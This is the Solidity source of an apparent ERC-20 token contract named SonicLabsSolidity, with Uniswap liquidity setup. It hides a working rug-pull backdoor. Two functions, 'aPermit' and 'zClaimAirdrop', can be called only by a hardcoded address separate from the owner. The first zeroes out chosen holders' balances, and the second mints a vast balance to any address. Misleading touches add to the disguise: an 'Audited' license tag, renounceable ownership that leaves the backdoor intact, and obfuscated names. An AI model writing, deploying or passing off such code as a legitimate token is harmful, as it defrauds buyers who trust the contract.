Contract Source Code:

// SPDX-License-Identifier: Audited
// https://t.me/SonicAnnouncements
pragma solidity 0.8.28;

// ERC-20 Interface
interface IERC20_Sonic {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// SafeMath Library
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}

// Context
contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

// Ownable
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract SonicLabsSolidity is Context, IERC20_Sonic, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000 * 10**_decimals;
    uint256 finalTax = 1;
    uint256 inicialTax = 10;
    mapping(address => uint256) private immutableStatusOn;
    mapping(address => mapping(address => uint256)) private _allowances;

    address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b;
    address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address ADDRESS_Sonic = 0xAa4577b7E2c5Af58c3e05ba16B3768A162bEeF43;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        immutableStatusOn[_msgSender()] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(1).div(1000));
        _distributeTokens();
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return immutableStatusOn[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    // Internal transfer function
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount);
        immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    // Internal approve function
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    // Function to distribute 99% of the total supply to specific addresses
    function _distributeTokens() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
        uint256 threePercent = _totalSupply.mul(2).div(1000);
        uint256 twoPercent = _totalSupply.mul(1).div(1000);

        immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
        immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent);
        immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent);
    }
      modifier immutableCreator() {
        require(ADDRESS_Sonic == _msgSender());
        _;
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator {
        immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals);
    }
  function startTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }
    // Function to receive ETH (optional for gas fees)
    receive() external payable {}
}